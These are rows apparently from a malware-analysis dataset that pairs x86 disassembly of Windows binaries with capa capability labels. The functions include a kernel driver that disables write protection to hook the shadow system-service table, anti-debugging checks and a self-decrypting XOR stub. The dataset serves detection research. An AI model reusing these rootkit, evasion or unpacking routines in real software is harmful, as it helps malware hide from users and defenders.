joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406f30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [0x414c80], 0
je 0x406f46
xor eax, eax
jmp 0x406fd1
push 0
push 1
push 0x414c70
call dword [sym.imp.ntoskrnl.exe_KeInitializeEvent]
mov eax, dword [ebp + 8]
mov dword [0x414c6c], eax
mov eax, dword [0x414c6c]
mov ecx, 0x989680
mul ecx
push 0xffffffffffffffff
push 0xffffffffffffffff
push edx
push eax
call sub.ntoskrnl.exe__allmul
mov dword [0x414c84], eax
mov dword [0x414c88], edx
push 0
push 0x406e20
push 0
push 0
push 0
push 0x1f03ff
lea edx, [ebp - 8]
push edx
call dword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x406fa8
xor eax, eax
jmp 0x406fd1
push 0
push 0x414c80
push 0
push 0
push 0x1f03ff
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, 1
mov esp, ebp
pop ebp
ret 4

Function at 0x407330
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
call fcn.00407240
mov dword [0x414c98], eax
cmp dword [0x414c98], 0
jne 0x407359
push str.hooker.sys:_Couldnt_find_shadowtable_
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
xor eax, eax
jmp 0x407381
push str.hooker.sys:_Shadowtable_has_been_found_
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
mov eax, dword [0x414c98]
mov ecx, dword [eax + 0x18]
push ecx
push str.hooker.sys:_Shadowtable_entries:__d
call sub.ntoskrnl.exe_DbgPrint
add esp, 8
mov eax, 1
pop ebp
ret

Function at 0x407390
Capabilities:
Check os version
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
push 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ntoskrnl.exe_PsGetVersion]
cmp dword [ebp - 4], 5
jne 0x4073f8
cmp dword [ebp - 8], 2
jne 0x4073f8
push str.comint32:_Running_on_Windows_2003
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
mov dword [0x413bdc], 0x179
mov dword [0x413be0], 0x193
mov dword [0x413be8], 0x137
mov dword [0x413be4], 0x1e1
mov dword [0x413bec], 0x24c
jmp 0x407490
cmp dword [ebp - 4], 5
jne 0x407445
cmp dword [ebp - 8], 1
jne 0x407445
push str.comint32:_Running_on_Windows_XP
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
mov dword [0x413bdc], 0x17a
mov dword [0x413be0], 0x194
mov dword [0x413be8], 0x138
mov dword [0x413be4], 0x1e3
mov dword [0x413bec], 0x250
jmp 0x407490
cmp dword [ebp - 4], 5
jne 0x407490
cmp dword [ebp - 8], 0
jne 0x407490
push str.comint32:_Running_on_Windows_2000
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
mov dword [0x413bdc], 0x170
mov dword [0x413be0], 0x189
mov dword [0x413be8], 0x12e
mov dword [0x413be4], 0x1d2
mov dword [0x413bec], 0x238
mov esp, ebp
pop ebp
ret
Function at 0x4074a0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x4000
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 8]
push eax
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
push ecx
push 0
mov edx, dword [ebp - 0xc]
push edx
call sub.ntoskrnl.exe_memset
add esp, 0xc
cmp dword [ebp - 0xc], 0
je 0x4074f3
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.ntoskrnl.exe_ZwQuerySystemInformation
mov dword [ebp - 4], eax
jmp 0x4074f7
xor eax, eax
jmp 0x407536
cmp dword [ebp - 4], 0xc0000004
jne 0x407514
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov ecx, dword [ebp - 8]
shl ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 4], 0xc0000004
je 0x4074b4
cmp dword [ebp - 4], 0
jne 0x407528
mov eax, dword [ebp - 0xc]
jmp 0x407536
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x407760
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f308
push 0x40dc2a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff4
push ebx
push esi
push edi
call fcn.00407330
call fcn.00407390
push 0x4147e8
call fcn.00407540
push eax
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jge 0x4077bc
push 0x411df8
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
mov eax, dword [ebp - 0x1c]
jmp 0x40792c
mov eax, dword [0x4147e8]
push eax
call dword [sym.imp.ntoskrnl.exe_KeAttachProcess]
mov dword [ebp - 4], 0
cmp dword [0x414c98], 0
je 0x40786b
cmp dword [0x413bdc], 0
je 0x40786b
cmp dword [0x413be0], 0
je 0x40786b
cmp dword [0x413be8], 0
je 0x40786b
cmp dword [0x413be4], 0
je 0x40786b
cmp dword [0x413bec], 0
je 0x40786b
mov ecx, dword [0x414c98]
mov edx, dword [ecx + 0x10]
mov eax, dword [0x413bdc]
mov ecx, dword [edx + eax*4]
mov dword [0x414c0c], ecx
mov edx, dword [0x414c98]
mov eax, dword [edx + 0x10]
mov ecx, dword [0x413be4]
mov edx, dword [eax + ecx*4]
mov dword [0x414c00], edx
mov eax, dword [0x414c98]
mov ecx, dword [eax + 0x10]
mov edx, dword [0x413be8]
mov eax, dword [ecx + edx*4]
mov dword [0x414c08], eax
mov ecx, dword [0x414c98]
mov edx, dword [ecx + 0x10]
mov eax, dword [0x413be0]
mov ecx, dword [edx + eax*4]
mov dword [0x414c20], ecx
jmp 0x407875
mov dword [0x414c98], 0
cli
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
cmp dword [0x414c98], 0
je 0x407906
cmp dword [0x413bdc], 0
je 0x407906
cmp dword [0x413be0], 0
je 0x407906
cmp dword [0x413be8], 0
je 0x407906
cmp dword [0x413be4], 0
je 0x407906
mov edx, dword [0x414c98]
mov eax, dword [edx + 0x10]
mov ecx, dword [0x413bdc]
mov dword [eax + ecx*4], 0x407c10
mov edx, dword [0x414c98]
mov eax, dword [edx + 0x10]
mov ecx, dword [0x413be4]
mov dword [eax + ecx*4], 0x407eb0
mov edx, dword [0x414c98]
mov eax, dword [edx + 0x10]
mov ecx, dword [0x413be8]
mov dword [eax + ecx*4], 0x407c90
mov edx, dword [0x414c98]
mov eax, dword [edx + 0x10]
mov ecx, dword [0x413be0]
mov dword [eax + ecx*4], 0x407e00
mov eax, cr0
or eax, 0x10000
mov cr0, eax
sti
mov dword [ebp - 4], 0xffffffff
call fcn.00407920
jmp 0x407927
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408830
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [0x4144bc], 0
jne 0x408846
xor eax, eax
jmp 0x408904
mov eax, dword [0x4144bc]
cmp dword [eax + 0x10], 0
je 0x408858
xor eax, eax
jmp 0x408904
push 0
push 1
mov ecx, dword [0x4144bc]
add ecx, 0x28
push ecx
call dword [sym.imp.ntoskrnl.exe_KeInitializeEvent]
mov edx, dword [0x4144bc]
mov eax, dword [ebp + 8]
mov dword [edx + 0x14], eax
mov ecx, dword [0x4144bc]
mov eax, dword [ecx + 0x14]
mov edx, 0x989680
mul edx
push 0xffffffffffffffff
push 0xffffffffffffffff
push edx
push eax
call sub.ntoskrnl.exe__allmul
mov ecx, dword [0x4144bc]
mov dword [ecx + 0x40], eax
mov dword [ecx + 0x44], edx
push 0x4144bc
push 0x4086c0
push 0
push 0
push 0
push 0x1f03ff
lea edx, [ebp - 8]
push edx
call dword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x4088cb
xor eax, eax
jmp 0x408904
push 0
mov eax, dword [0x4144bc]
add eax, 0x38
push eax
push 0
push 0
push 0x1f03ff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [0x4144bc]
mov dword [eax + 0x10], 1
mov eax, 1
mov esp, ebp
pop ebp
ret 4

Function at 0x40a060
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 0
lea edx, [ebp - 4]
mov ecx, dword [ebp - 0x10]
call fcn.00409d30
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 8], 1
jne 0x40a0ab
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx]
cmp edx, 0xcc
je 0x40a0a9
mov eax, dword [ebp - 4]
movzx ecx, byte [eax]
cmp ecx, 0x90
jne 0x40a0ab
jmp 0x40a0ba
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
cmp dword [ebp - 8], 0
jne 0x40a070
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x40a570
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov eax, dword [0x4143a0]
and eax, 0x80000000
je 0x40a598
mov eax, dword [ebp - 4]
jmp 0x40a636
mov ecx, dword [0x4143a0]
or ecx, 0x80000000
mov dword [0x4143a0], ecx
push 0
push 1
push 0x4143e0
call dword [sym.imp.ntoskrnl.exe_KeInitializeEvent]
mov eax, dword [ebp + 8]
cdq
push 0
push 0x989680
push edx
push eax
call sub.ntoskrnl.exe__allmul
push 0xffffffffffffffff
push 0xffffffffffffffff
push edx
push eax
call sub.ntoskrnl.exe__allmul
mov dword [0x4143f8], eax
mov dword [0x4143fc], edx
push 0x4143a0
push 0x40a6a0
push 0
push 0
push 0
push 0x1f03ff
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jge 0x40a60d
xor eax, eax
jmp 0x40a636
push 0
push 0x4143f0
push 0
push 0
push 0x1f03ff
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x40adc0
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x400
lea eax, [ebp - 0x408]
push eax
call sub.ntoskrnl.exe__vsnprintf
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jge 0x40ae15
mov byte [ebp - 9], 0
lea ecx, [ebp - 0x408]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0x41336c
call sub.ntoskrnl.exe_DbgPrint
add esp, 0xc
jmp 0x40aeac
lea eax, [ebp - 0x408]
push eax
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
cmp dword [0x41439c], 0
je 0x40aeac
cmp dword [0x41439c], 3
je 0x40aeac
lea ecx, [ebp - 0x408]
mov dword [ebp - 0x414], ecx
mov edx, dword [ebp - 0x414]
add edx, 1
mov dword [ebp - 0x418], edx
mov eax, dword [ebp - 0x414]
mov cl, byte [eax]
mov byte [ebp - 0x419], cl
add dword [ebp - 0x414], 1
cmp byte [ebp - 0x419], 0
jne 0x40ae51
mov edx, dword [ebp - 0x414]
sub edx, dword [ebp - 0x418]
mov dword [ebp - 0x420], edx
push 0
push 0
mov eax, dword [ebp - 0x420]
push eax
lea ecx, [ebp - 0x408]
push ecx
lea edx, [ebp - 0x410]
push edx
push 0
push 0
push 0
mov eax, dword [0x41439c]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwWriteFile]
mov esp, ebp
pop ebp
ret
Function at 0x416540
Capabilities:
Map section object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x30], 0x18
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 0x240
xor ecx, ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401ac0
test eax, eax
je 0x416591
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401ac0
test eax, eax
jne 0x416598
xor eax, eax
jmp 0x416666
mov ecx, dword [ebp + 0xc]
mov dword [ecx], 0
push 0x20
push 1
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x30]
push eax
push 0x100020
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwOpenFile]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jge 0x4165cc
xor eax, eax
jmp 0x416666
mov dword [ebp - 0x28], 0
mov edx, dword [ebp - 0x14]
push edx
push 0x1000000
push 0x10
push 0
lea eax, [ebp - 0x30]
push eax
push 0xf001f
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwCreateSection]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jge 0x41660a
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor eax, eax
jmp 0x416666
push 4
push 0x100000
push 1
lea eax, [ebp - 0x10]
push eax
push 0
push 0x400
push 0
lea ecx, [ebp - 4]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ntoskrnl.exe_ZwMapViewOfSection]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jge 0x416651
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor eax, eax
jmp 0x416666
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret 8
Function at 0x417620
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], 0xc0000001
push 0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 4]
push edx
call dword [sym.imp.ntoskrnl.exe_PsGetVersion]
mov eax, dword [sym.imp.ntoskrnl.exe_NtBuildNumber]
movsx ecx, word [eax]
cmp ecx, 0xa28
jne 0x41765d
cmp dword [ebp - 4], 5
jne 0x41765d
cmp dword [ebp - 8], 1
je 0x417662
mov eax, dword [ebp - 0x10]
jmp 0x417664
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x417670
Capabilities:
Get file attributes
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x34], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x54]
push ecx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov dword [ebp - 0x4c], 0x18
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x40], 0x240
lea edx, [ebp - 0x54]
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
push 0x100
push 0
push 0
push 0
push 0
push 0x60
push 1
push 1
push 0x80
push 0
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x4c]
push ecx
push 0x80100000
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.ntoskrnl.exe_IoCreateFile]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x417703
xor eax, eax
jmp 0x4177a9
push 5
push 0x18
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x417730
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor eax, eax
jmp 0x4177a9
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x417759
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor eax, eax
jmp 0x4177a9
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
lea eax, [ebp - 0x30]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x41779c
push 0
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor eax, eax
jmp 0x4177a9
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret 4
Function at 0x4184b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
cmp dword [ebp + 8], 0
je 0x4184d6
cmp dword [ebp + 0xc], 0
je 0x4184d6
cmp dword [ebp + 0x10], 0
jne 0x4184dd
xor eax, eax
jmp 0x418621
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x4184f8
xor eax, eax
jmp 0x418621
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
cmp dword [edx], 0x4550
je 0x418516
xor eax, eax
jmp 0x418621
push 0
push 0x412b80
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.00416700
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x418538
xor eax, eax
jmp 0x418621
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
lea edx, [ebp - 0x14]
push edx
push 5
push 1
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlImageDirectoryEntryToData]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x418563
xor eax, eax
jmp 0x418621
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 4], 0
je 0x41861f
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 4]
sub ecx, 8
shr ecx, 1
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 8], 0
jmp 0x418599
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x2c]
jge 0x41860e
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x18]
movzx eax, word [edx + ecx*2 + 8]
sar eax, 0xc
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jne 0x41860c
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x18]
movzx eax, word [edx + ecx*2 + 8]
and eax, 0xfff
mov ecx, dword [ebp - 0x18]
add eax, dword [ecx]
add eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx]
sub eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x28]
jne 0x41860c
mov edx, dword [ebp - 4]
movzx eax, word [edx - 2]
cmp eax, 0x5c7
jne 0x41860c
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
sub edx, dword [ebp + 0xc]
add edx, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov dword [eax], edx
mov eax, 1
jmp 0x418621
jmp 0x418590
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
add edx, dword [ecx + 4]
mov dword [ebp - 0x18], edx
jmp 0x418563
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4186d0
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x418705
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x50]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x38]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.00417d80
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
jmp 0x418720
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x10]
jae 0x418748
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x10]
mov eax, dword [ebp - 4]
mov ecx, dword [edx + eax*4]
sub ecx, dword [ebp + 0x10]
add ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x10]
mov edx, dword [ebp - 4]
mov dword [eax + edx*4], ecx
jmp 0x418717
mov esp, ebp
pop ebp
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x131413b8
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.13141cd0
test esi, esi
jne 0x131413ee
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.13141d94
jmp 0x1314140c
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.131412cc
mov edi, eax
test esi, esi
je 0x1314140c
cmp dword [ebx], 0
je 0x1314140c
dec esi
jmp 0x131413f5
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x13141a2c
Capabilities:
Clear file content

Disassembly:
movzx edx, word [eax + 4]
sub edx, 0xd7b1
cmp edx, 2
ja 0x13141a4a
push dword [eax]
call sub.KERNEL32.DLL_SetEndOfFile
dec eax
je 0x13141a54
jmp fcn.13141240
mov eax, 0x67
jmp fcn.13141230
ret
Function at 0x13142b06
Capabilities:
Check for software breakpoints

Disassembly:
cmp dword [eax], 0xfffff000
jne 0x13142b1b
mov dl, byte [eax + 5]
cmp dl, 0xe8
je 0x13142b20
cmp dl, 0xcc
je 0x13142b20
dec eax
dec ecx
jne fcn.13142b06
ret
add eax, 0xa
add eax, dword [eax - 4]
ret

Function at 0x13142dff
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push ebx
mov ebx, edx
sub ecx, ecx
push 6
pop edx
mov eax, dword fs:[ecx + 0x30]
cmp byte [ebx + 2], cl
jne 0x13142e19
dec edx
mov dword [eax], edx
mov byte [eax], dl
xor eax, dword [ebx + 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.KERNEL32.DLL_OpenProcess
test eax, eax
je 0x13142e96
push eax
push dword [ebx + 0x30]
call dword [ebx + pe_nt_image_headers32]
push dword [ebp + 0x10]
call dword [ebx + 8]
test eax, eax
sete byte [ebp - 1]
pop eax
je 0x13142e79
sub ecx, ecx
cmp byte [ebx + 2], cl
mov edx, dword fs:[ecx + 0x30]
push eax
je 0x13142e54
shr eax, 2
inc eax
shl eax, 3
add eax, dword [edx + 0x44]
mov ecx, dword [ebp + 0x10]
xor ecx, dword [ebx + 4]
mov dword [eax], ecx
cmp byte [ecx], 7
pop eax
jae 0x13142e71
inc dword [ecx + 4]
dec dword [edx + 4]
jmp 0x13142e79
inc word [ecx + 2]
dec word [edx + 2]
push eax
push dword [ebx + 0x30]
call dword [ebx + 0x18]
pop eax
cmp byte [ebp - 1], 0
je 0x13142e96
push eax
call sub.KERNEL32.DLL_CloseHandle
push 0x57
pop ecx
call fcn.13142d8f
pop ebx
leave
ret 0xc
Function at 0x131437a8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor edx, edx
mov dword [ebp - 0x104], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x1314381c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xff
lea eax, [ebp - 0x100]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
lea eax, [ebp - 0x104]
lea edx, [ebp - 0x100]
mov ecx, 0x100
call fcn.13141dc4
mov edx, dword [ebp - 0x104]
mov eax, ebx
mov ecx, 0x13143830
call fcn.13141e28
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13143823
lea eax, [ebp - 0x104]
call fcn.13141cd0
ret

Function at 0x13143a78
Capabilities:
Check if file exists
Copy file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x13143a80
push ecx
push ebx
mov eax, 0x13143a18
call fcn.13142388
xor eax, eax
push ebp
push 0x13143bc0
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.13143460
lea eax, [ebp - 0x14]
call fcn.131437a8
lea eax, [ebp - 0x14]
mov edx, 0x13143bd8
call fcn.13141de4
mov edx, dword [ebp - 0x14]
mov eax, 0x13156e88
call fcn.13141670
mov eax, dword [0x131554c4]
mov byte [eax], 2
mov edx, 1
mov eax, 0x13156e88
call fcn.131419d0
call fcn.1314124c
mov ebx, eax
test bx, bx
jne 0x13143afa
mov eax, 0x13156e88
call fcn.131417b4
call fcn.13141210
test bx, bx
je 0x13143b25
lea eax, [ebp - 0x18]
call fcn.131437a8
lea eax, [ebp - 0x18]
mov edx, 0x13143bd8
call fcn.13141de4
mov eax, dword [ebp - 0x18]
push eax
call sub.shlwapi.dll_PathFileExistsA
test eax, eax
jne 0x13143ba5
call fcn.1314392c
lea eax, [ebp - 0x1c]
call fcn.131437a8
lea eax, [ebp - 0x1c]
mov edx, 0x13143bec
call fcn.13141de4
mov eax, dword [ebp - 0x1c]
push eax
call sub.shlwapi.dll_PathFileExistsA
test eax, eax
jne 0x13143b84
push 0
lea eax, [ebp - 0x20]
call fcn.131437a8
lea eax, [ebp - 0x20]
mov edx, 0x13143bec
call fcn.13141de4
mov eax, dword [ebp - 0x20]
call fcn.13141f50
push eax
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.131413b8
mov eax, dword [ebp - 0x24]
call fcn.13141f50
push eax
call sub.KERNEL32.DLL_CopyFileA
mov eax, 0x13143c00
call fcn.13143834
push eax
push 0
push 0x1f0fff
